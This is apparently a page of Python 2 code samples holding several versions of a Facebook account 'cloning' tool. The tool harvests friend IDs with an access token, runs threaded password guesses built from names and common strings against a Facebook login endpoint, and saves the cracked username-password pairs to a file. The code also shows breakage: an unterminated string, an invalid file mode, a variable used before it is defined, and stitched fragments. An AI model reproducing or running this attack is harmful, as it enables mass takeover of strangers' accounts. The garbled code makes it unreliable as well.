				print '\x1b[1;91mDone◔\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;94m✙\x1b[1;95m-' + pass1
				oks.append(user+pass1)
			else:
				if 'www.facebook.com' in q["error_msg"]:
					print '\x1b[1;94mCheckpoint\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;95m-' + pass1
					cek = open("out/checkpoint.txt", "a")
					cek.write(user+"|"+pass1+"\n")
					cek.close()
					cekpoint.append(user+pass1)
				else:
					pass2 = 'Pakistan'
					data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
					q = json.load(data)
					if 'access_token' in q:
						print '\x1b[1;91mDone◔\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;95m-' + pass2
						oks.append(user+pass2)
					else:
						if 'www.facebook.com' in q["error_msg"]:
							print '\x1b[1;94mCheckpoint\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;95m-' + pass2
							cek = open("out/checkpoint.txt", "a")
							cek.write(user+"|"+pass2+"\n")
							cek.close()
							cekpoint.append(user+pass2)
						else:
							pass3 = b['first_name'] + '12345'
							data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
							q = json.load(data)
							if 'access_token' in q:
								print '\x1b[1;91mDone◔\x1b[1;97m-\x1b[1;94m✙\x1b[1;97m-' + user + '-\x1b[1;93m✙\x1b[1;95m-' + pass3
								oks.append(user+pass3)
							else:
								if 'www.facebook.com' in q["error_msg"]:
									print '\x1b[1;94mCheckpoint\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;95m-' + pass3
									cek = open("out/checkpoint.txt", "a")
									cek.write(user+"|"+pass3+"\n")
									cek.close()
									cekpoint.append(user+pass3)
								else:
									pass4 = b['first_name'] + '123'
									data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
									q = json.load(data)
									if 'access_token' in q:
										print '\x1b[1;91mDone◔\x1b[1;97m-\x1b[1;94m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;95m-' + pass4
										oks.append(user+pass4)
									else:
										if 'www.facebook.com' in q["error_msg"]:
											print '\x1b[1;94mCheckpoint\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;95m-' + pass4
											cek = open("out/checkpoint.txt", "a")
											cek.write(user+"|"+pass4+"\n")
											cek.close()
											cekpoint.append(user+pass4)
										else:
											pass5 = b['first_name'] + '786'
											data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
											q = json.load(data)
											if 'access_token' in q:
												print '\x1b[1;91mDone◔\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;95m-' + pass5
												oks.append(user+pass5)
											else:
												if 'www.facebook.com' in q["error_msg"]:
													print '\x1b[1;94mCheckpoint\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;95m-' + pass5
													cek = open("out/checkpoint.txt", "a")
													cek.write(user+"|"+pass5+"\n")
													cek.close()
													cekpoint.append(user+pass5)
												else:
													pass6 = 'Pakistan1'
													data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
													q = json.load(data)
													if 'access_token' in q:
														print '\x1b[1;91mDone◔\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;95m-' + pass6
														oks.append(user+pass6)
													else:
														if 'www.facebook.com' in q["error_msg"]:
															print '\x1b[1;94mCheckpoint\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;95m-' + pass6
															cek = open("out/checkpoint.txt", "a")
															cek.write(user+"|"+pass6+"\n")
															cek.close()
															cekpoint.append(user+pass6)
														else:
															a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket)
															b = json.loads(a.text)
															pass7 = b['first_name'] + '1234'
															data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
															q = json.load(data)
															if 'access_token' in q:
																print '\x1b[1;91mDone◔\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;95m-' + pass7
																oks.append(user+pass7)
															else:
																if 'www.facebook.com' in q["error_msg"]:
																	print '\x1b[1;94mCheckpoint\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;95m-' + pass7
																	cek = open("out/checkpoint.txt", "a")
																	cek.write(user+"|"+pass7+"\n")
																	cek.close()
																	cekpoint.append(user+pass7)
																	
															
		except:
			pass
		
	p = ThreadPool(30)
	p.map(main, id)
	print "\033[1;92m•◈•╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬•◈•\033[1;91mRDX_001\033[1;92m•◈•╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬•◈•"
	print "  \033[1;93m«---•◈•---Developed By AHMAD_SANA_FAROOQ--•◈•---»" #Dev:AHMAD_SANA_FAROOQ
	print '\033[1;91m✅Process Has Been Completed Press➡\033[1;92m....'
	print"\033[1;91mTotal OK/\x1b[1;93mCP \033[1;91m: \033[1;91m"+str(len(oks))+"\033[1;97m/\033[1;92m"+str(len(cekpoint))
	print """

                ♥♥♥♥♥  ♥♥   ♥♥ ♥♥♥    ♥♥♥  ♥♥♥♥♥  ♥♥♥♥♥♥  
               ♥♥   ♥♥ ♥♥   ♥♥ ♥♥♥♥  ♥♥♥♥ ♥♥   ♥♥ ♥♥   ♥♥ 
               ♥♥♥♥♥♥♥ ♥♥♥♥♥♥♥ ♥♥ ♥♥♥♥ ♥♥ ♥♥♥♥♥♥♥ ♥♥   ♥♥ 
               ♥♥   ♥♥ ♥♥   ♥♥ ♥♥  ♥♥  ♥♥ ♥♥   ♥♥ ♥♥   ♥♥ 
               ♥♥   ♥♥ ♥♥   ♥♥ ♥♥      ♥♥ ♥♥   ♥♥ ♥♥♥♥♥♥  
                                         
•\033[1;92m◈•╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬•◈•╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬•◈•."""
	
	raw_input("\n\033[1;92m[\033[1;91mBack\033[1;96m]")
	menu()
Exemple #43
0
def pilih_crack():
    peak = raw_input("\n\033[1;96mChoose an Option ---> \033[1;95m")
    if peak == "":
        print "\x1b[1;91mFill in correctly"
        pilih_crack()
    elif peak == "1":
        os.system('clear')
        print logo
        jjt = raw_input("\033[1;92mPUBLIC ID : \033[1;92m")
        print "-★-★--★-★--★-★--★-★--★-★--★-★--★-"
        try:
            m = requests.get("https://graph.facebook.com/" + jjt +
                             "?access_token=" + toket)
            td = json.loads(m.text)
            print "\033[1;94mName\033[1;94m:\033[1;94m " + td["name"]
        except KeyError:
            print "\x1b[1;91mID Not Found!"
            raw_input("\n\033[1;97m[\033[1;97mBack\033[1;97m]")
            crack()
        print "\033[1;97mGetting IDs\033[1;97m..."
        n = requests.get("https://graph.facebook.com/" + jjt +
                         "/friends?access_token=" + toket)
        d = json.loads(n.text)
        for c in d['data']:
            id.append(c['id'])
    elif peak == "0":
        men()
    else:
        print "\x1b[1;91mFill in correctly"
        pilih_crack()

    print "\033[1;97mTotal IDs\033[1;97m: \033[1;97m" + str(len(id))
    jalan('\033[1;97mPlease Wait\033[1;97m...')
    titik = ['.   ', '..  ', '... ']
    for o in titik:
        print("\r\033[1;92mCloning\033[1;92m" + o),
        sys.stdout.flush()
        time.sleep(1)
    print "\033[1;92mCTRL+Z FOR STOP CLONING"
    print "\033[1;93-★-★--★-★--★-★--★-★--★-★--★-★--★-"
    jalan(' \033[1;92mC L O N I N G  S T A R T E  D')

    def main(arg):
        global cekpoint, oks
        user = arg
        try:
            os.mkdir('cookie')
        except OSError:
            pass  #Dev:shaheer
        try:
            k = requests.get('https://graph.facebook.com/' + user +
                             '/?access_token=' + toket)
            y = json.loads(k.text)
            pass1 = ('786786')
            data = urllib.urlopen(
                "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
            )
            s = json.load(data)
            if 'access_token' in s:
                print '\x1b[1;93mLive\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass1
                oks.append(user + pass1)
            else:
                if 'www.facebook.com' in s["★_msg"]:
                    print '\x1b[1;93m★\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass1
                    cek = open("out/checkpoint.txt", "k")
                    cek.write(user + "|" + pass1 + "\n")
                    cek.close()
                    cekpoint.append(user + pass1)
                else:
                    pass2 = 'Pakistan'
                    data = urllib.urlopen(
                        "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                        + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                    )
                    s = json.load(data)
                    if 'access_token' in s:
                        print '\x1b[1;93mLive\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass2
                        oks.append(user + pass2)
                    else:
                        if 'www.facebook.com' in s["★_msg"]:
                            print '\x1b[1;93m★\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass2
                            cek = open("out/checkpoint.txt", "k")
                            cek.write(user + "|" + pass2 + "\n")
                            cek.close()
                            cekpoint.append(user + pass2)
                        else:
                            pass3 = y['first_name'] + '123'
                            data = urllib.urlopen(
                                "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                                + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                            )
                            s = json.load(data)
                            if 'access_token' in s:
                                print '\x1b[1;93mLive\x1b[1;97m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93 ' + pass3
                                oks.append(user + pass3)
                            else:
                                if 'www.facebook.com' in s["★_msg"]:
                                    print '\x1b[1;93m★\x1b[1;93m \x1b[1;93\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass3
                                    cek = open("out/checkpoint.txt", "k")
                                    cek.write(user + "|" + pass3 + "\n")
                                    cek.close()
                                    cekpoint.append(user + pass3)
                                else:
                                    pass4 = y['first_name'] + '1234'
                                    data = urllib.urlopen(
                                        "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                                        + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                                    )
                                    s = json.load(data)
                                    if 'access_token' in s:
                                        print '\x1b[1;93mLive\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m' + pass4
                                        oks.append(user + pass4)
                                    else:
                                        if 'www.facebook.com' in s["★_msg"]:
                                            print '\x1b[1;93m★\x1b[1;93 \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass4
                                            cek = open("out/checkpoint.txt",
                                                       "k")
                                            cek.write(user + "|" + pass4 +
                                                      "\n")
                                            cek.close()
                                            cekpoint.append(user + pass4)
                                        else:
                                            pass5 = y['first_name'] + '12'
                                            data = urllib.urlopen(
                                                "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                                                + (user) +
                                                "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                                            )
                                            s = json.load(data)
                                            if 'access_token' in s:
                                                print '\x1b[1;93mLive\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass5
                                                oks.append(user + pass5)
                                            else:
                                                if 'www.facebook.com' in s[
                                                        "★_msg"]:
                                                    print '\x1b[1;93mError\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass5
                                                    cek = open(
                                                        "out/checkpoint.txt",
                                                        "k")
                                                    cek.write(user + "|" +
                                                              pass5 + "\n")
                                                    cek.close()
                                                    cekpoint.append(user +
                                                                    pass5)
                                                else:
                                                    pass6 = y[
                                                        'first_name'] + '786'
                                                    data = urllib.urlopen(
                                                        "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                                                        + (user) +
                                                        "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                                                    )
                                                    s = json.load(data)
                                                    if 'access_token' in s:
                                                        print '\x1b[1;93mLive\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass6
                                                        oks.append(user +
                                                                   pass6)
                                                    else:
                                                        if 'www.facebook.com' in s[
                                                                "★_msg"]:
                                                            print '\x1b[1;93m★\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass6
                                                            cek = open(
                                                                "out/checkpoint.txt",
                                                                "k")
                                                            cek.write(user +
                                                                      "|" +
                                                                      pass6 +
                                                                      "\n")
                                                            cek.close()
                                                            cekpoint.append(
                                                                user + pass6)
                                                        else:
                                                            pass7 = 'Pakistan1'
                                                            data = urllib.urlopen(
                                                                "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                                                                + (user) +
                                                                "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                                                            )
                                                            s = json.load(data)
                                                            if 'access_token' in s:
                                                                print '\x1b[1;93mLive\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass8
                                                                oks.append(
                                                                    user +
                                                                    pass8)
                                                            else:
                                                                if 'www.facebook.com' in s[
                                                                        "★_msg"]:
                                                                    print '\x1b[1;93m★\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass8
                                                                    cek = open(
                                                                        "out/checkpoint.txt",
                                                                        "k")
                                                                    cek.write(
                                                                        user +
                                                                        "|" +
                                                                        pass8 +
                                                                        "\n")
                                                                    cek.close()
                                                                    cekpoint.append(
                                                                        user +
                                                                        pass7)
                                                                    s = json.load(
                                                                        data)
                                                    if 'access_token' in s:
                                                        print '\x1b[1;93mLive\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass7
                                                        oks.append(user +
                                                                   pass7)
                                                    else:
                                                        if 'www.facebook.com' in s[
                                                                "★_msg"]:
                                                            print '\x1b[1;93m★\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass7
                                                            cek = open(
                                                                "out/checkpoint.txt",
                                                                "k")
                                                            cek.write(user +
                                                                      "|" +
                                                                      pass7 +
                                                                      "\n")
                                                            cek.close()
                                                            cekpoint.append(
                                                                user + pass7)
                                                        else:
                                                            pass8 = 'Bangladesh'
                                                            data = urllib.urlopen(
                                                                "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                                                                + (user) +
                                                                "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                                                            )
                                                            s = json.load(data)
                                                            if 'access_token' in s:
                                                                print '\x1b[1;93mLive\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass8
                                                                oks.append(
                                                                    user +
                                                                    pass8)
                                                            else:
                                                                if 'www.facebook.com' in s[
                                                                        "★_msg"]:
                                                                    print '\x1b[1;93m★\x1b[1;93m \x1b[1;93m\x1b[1;93m ' + user + ' \x1b[1;93m\x1b[1;93m ' + pass8
                                                                    cek = open(
                                                                        "out/checkpoint.txt",
                                                                        "k")
                                                                    cek.write(
                                                                        user +
                                                                        "|" +
                                                                        pass7 +
                                                                        "\n")
                                                                    cek.close()
                                                                    cekpoint.append(
                                                                        user +
                                                                        pass7)

        except:
            pass

    p = ThreadPool(30)
    p.map(main, id)
    print
    " °°°°°°°°°°°° "
    print "  Written By shaheer"  #Dev:shaheer
    print '\033[1;94mProcess Has Been Completed \033[1;94m....'
    print '\033[1;92mType (python2 Dvl.py) New Fb Start Cloning\033[1;92m....'
    print "\033[1;96mTotal Live/\x1b[1;96mCheckpoint \033[1;96m: \033[1;96m" + str(
        len(oks)) + "\033[1;96m/\033[1;96m" + str(len(cekpoint))
    print """


\033[1;96m  •P R O C E S S  D O N E• 



\033[1;92m CP ID AFTER 2 WEEKS (14DAYS)

"""

    raw_input("\n\033[1;92m[\033[1;92mBack\033[1;92m]")
    crack()
Exemple #44
0
def pilih_super():
	peak = raw_input("\n\033[1;96mChoose an Option>>> \033[1;97m")
	if peak =="":
		print "\x1b[1;94mFill in correctly"
		pilih_super()
	elif peak =="1":
		os.system('clear')
		print logo
		print "\033[1;97m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•\033[1;93mALEX\033[1;97m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬ •◈•"
		jalan('\033[1;94mGetting IDs \033[1;94m...')
		r = requests.get("https://graph.facebook.com/me/friends?access_token="+toket)
		z = json.loads(r.text)
		for s in z['data']:
			id.append(s['id'])
	elif peak =="2":
		os.system('clear')
		print logo
		idt = raw_input("\033[1;97m[•◈•] \033[1;94mEnter ID\033[1;97m: \033[1;97m")
		print "\033[1;97m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•\033[1;93mALEX\033[1;97m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•"
		try:
			jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket)
			op = json.loads(jok.text)
			print"\033[1;97mName\033[1;97m:\033[1;96m "+op["name"]
		except KeyError:
			print"\x1b[1;97mID Not Found!"
			raw_input("\n\033[1;97m[\033[1;93mBack\033[1;97m]")
			super()
		print"\033[1;94mGetting IDs\033[1;97m..."
		r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+toket)
		z = json.loads(r.text)
		for i in z['data']:
			id.append(i['id'])
	elif peak =="0":
		menu()
	else:
		print "\x1b[1;97mFill in correctly"
		pilih_super()
	
	print "\033[1;97mTotal IDs\033[1;97m: \033[1;94m"+str(len(id))
	jalan('\033[1;94mPlease Wait\033[1;94m...')
	titik = ['.   ','..  ','... ']
	for o in titik:
		print("\r\033[1;94mCloning\033[1;97m"+o),;sys.stdout.flush();time.sleep(1)
	print "\n\033[1;97m«--•◈••◈•---\x1b[1;93m•◈•Stop Process Press CTRL+Z•◈•\033[1;97m---•◈••◈•-»"
	print "\033[1;97m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•\033[1;93mShabirBaloch\033[1;97m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬ •◈•"
	jalan(' \033[1;97m.................\033[1;93mCloning Start..\033[1;97m............ ')
	print "\033[1;97m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•\033[1;93mShabirBaloch\033[1;97m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬ •◈•"
	
			
	def main(arg):
		global cekpoint,oks
		user = arg
		try:
			os.mkdir('out')
		except OSError:
			pass #Dev:baloch_hacker
		try:
			a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket)
			b = json.loads(a.text)
			pass1 = b['first_name'] + b['last_name']
			data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
			q = json.load(data)
			if 'access_token' in q:
				print '\x1b[1;92mHack 100%💉\x1b[1;97m-\x1b[1;96m▬\x1b[1;97m-' + user + '-\x1b[1;96m▬\x1b[1;97m-' + pass1
				oks.append(user+pass1)
			else:
				if 'www.facebook.com' in q["error_msg"]:
					print '\x1b[1;96mCheckpoint\x1b[1;97m-\x1b[1;96m▬\x1b[1;97m-' + user + '-\x1b[1;96m▬\x1b[1;97m-' + pass1
					cek = open("out/checkpoint.txt", "a")
					cek.write(user+"|"+pass1+"\n")
					cek.close()
					cekpoint.append(user+pass1)
				else:
					pass2 = '786786'
					data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
					q = json.load(data)
					if 'access_token' in q:
						print '\x1b[1;92mHack 100%💉\x1b[1;97m-\x1b[1;96m▬\x1b[1;97m-' + user + '-\x1b[1;96m▬\x1b[1;97m-' + pass2
						oks.append(user+pass2)
					else:
						if 'www.facebook.com' in q["error_msg"]:
							print '\x1b[1;96mCheckpoint\x1b[1;97m-\x1b[1;96m▬\x1b[1;97m-' + user + '-\x1b[1;96m▬\x1b[1;97m-' + pass2
							cek = open("out/checkpoint.txt", "a")
							cek.write(user+"|"+pass2+"\n")
							cek.close()
							cekpoint.append(user+pass2)
						else:
							pass3 = b['first_name'] + '123'
							data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
							q = json.load(data)
							if 'access_token' in q:
								print '\x1b[1;92mHack 100%💉\x1b[1;97m-\x1b[1;96m▬\x1b[1;97m-' + user + '-\x1b[1;96m▬\x1b[1;97m-' + pass3
								oks.append(user+pass3)
							else:
								if 'www.facebook.com' in q["error_msg"]:
									print '\x1b[1;96mCheckpoint\x1b[1;97m-\x1b[1;96m▬\x1b[1;97m-' + user + '-\x1b[1;96m▬\x1b[1;97m-' + pass3
									cek = open("out/checkpoint.txt", "a")
									cek.write(user+"|"+pass3+"\n")
									cek.close()
									cekpoint.append(user+pass3)
								else:
									pass4 = b['first_name'] + '1234'
									data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
									q = json.load(data)
									if 'access_token' in q:
										print '\x1b[1;92mHack 100%💉\x1b[1;97m-\x1b[1;96m▬\x1b[1;97m-' + user + '-\x1b[1;96m▬\x1b[1;97m-' + pass4
										oks.append(user+pass4)
									else:
										if 'www.facebook.com' in q["error_msg"]:
											print '\x1b[1;96mCheckpoint\x1b[1;97m-\x1b[1;96m▬\x1b[1;97m-' + user + '-\x1b[1;96m▬\x1b[1;97m-' + pass4
											cek = open("out/checkpoint.txt", "a")
											cek.write(user+"|"+pass4+"\n")
											cek.close()
											cekpoint.append(user+pass4)
										else:
											pass5 = b['first_name'] + '12
											data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
											q = json.load(data)
											if 'access_token' in q:
												print '\x1b[1;92mHack 100%💉\x1b[1;97m-\x1b[1;96m▬\x1b[1;97m-' + user + '-\x1b[1;96m▬\x1b[1;97m-' + pass5
												oks.append(user+pass5)
											else:
												if 'www.facebook.com' in q["error_msg"]:
													print '\x1b[1;96mCheckpoint\x1b[1;97m-\x1b[1;96m▬\x1b[1;97m-' + user + '-\x1b[1;96m▬\x1b[1;97m-' + pass5
													cek = open("out/checkpoint.txt", "a")
													cek.write(user+"|"+pass5+"\n")
													cek.close()
													cekpoint.append(user+pass5)
												else:
													pass6 = b['first_name'] + '123456'
													data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
													q = json.load(data)
													if 'access_token' in q:
														print '\x1b[1;92mHack 100%💉\x1b[1;97m-\x1b[1;96m▬\x1b[1;97m-' + user + '-\x1b[1;96m▬\x1b[1;97m-' + pass6
														oks.append(user+pass6)
													else:
														if 'www.facebook.com' in q["error_msg"]:
															print '\x1b[1;96mCheckpoint\x1b[1;97m-\x1b[1;96m▬\x1b[1;97m-' + user + '-\x1b[1;96m▬\x1b[1;97m-' + pass6
															cek = open("out/checkpoint.txt", "a")
															cek.write(user+"|"+pass6+"\n")
															cek.close()
															cekpoint.append(user+pass6)
														else:
															a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket)
															b = json.loads(a.text)
															pass7 = b['first_name'] + '786'
															data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
															q = json.load(data)
															if 'access_token' in q:
																print '\x1b[1;92mHack 100%💉\x1b[1;97m-\x1b[1;96m▬\x1b[1;97m-' + user + '-\x1b[1;96m▬\x1b[1;97m-' + pass7
																oks.append(user+pass7)
															else:
																if 'www.facebook.com' in q["error_msg"]:
																	print '\x1b[1;96mCheckpoint\x1b[1;97m-\x1b[1;96m▬\x1b[1;97m-' + user + '-\x1b[1;96m▬\x1b[1;97m-' + pass7
																	cek = open("out/checkpoint.txt", "a")
																	cek.write(user+"|"+pass7+"\n")
																	cek.close()
																	cekpoint.append(user+pass7)
																	
															
		except:
			pass
		
	p = ThreadPool(50)
	p.map(main, id)
	print "\033[1;96m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•\033[1;93mALEX\033[1;96m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•"
	print "  \033[1;93m«---•◈•---Developed By baloch-Hacker--•◈•---»" #Dev:Alex_hacker
	print '\033[1;96m✅Process Has Been Completed Press➡ Ctrl+Z.↩ Next Type (python2 Sarif.py)↩\033[1;97m....'
	print"\033[1;92mTotal OK/\x1b[1;93mCP \033[1;93m: \033[1;97m"+str(len(oks))+"\033[1;97m/\033[1;93m"+str(len(cekpoint))
	print """
                         ¸,.-~·¹´¨¨¨¨¨¨¨¨¨¨¨¨¨¨`²·~-.,¸        
                     .·´;:':                              `·. 
                 .·´;;:: ':                                   `·. 
     '        .·´;;;:::  :                  '                     \ 
            /;;;.·´¨¨¨` · .                      . · ´¨¨¨¨`·.     ',    
          ,';;;/;:: :       `·.            '   ·'              \     ; 
          ;';,';;::: :'         '\            ·:                 ',   ; 
          ;'/¸.·´¨¨` · . `·.     ',   !   ,':    .·´ . · ´¨¨¨¨`·.¸\  ;  
          ',;;',:::      `·.      ';      ;::    .·´            /  ,'      
           ',;;'\::        ' \     ';     ;: ,' /           .·´   ,' 
       '     `·.;'`·.         '',   ;     ;  ,'         .·´   ¸.·´ 
                '`·.: `¹·~-.,¸ \ ,'      ',/¸,.-~·¹´  '  .·´          
                    `·.;:'      `'`       ´'´        ' .·´  
                       `·.:          ´ `          .·´          
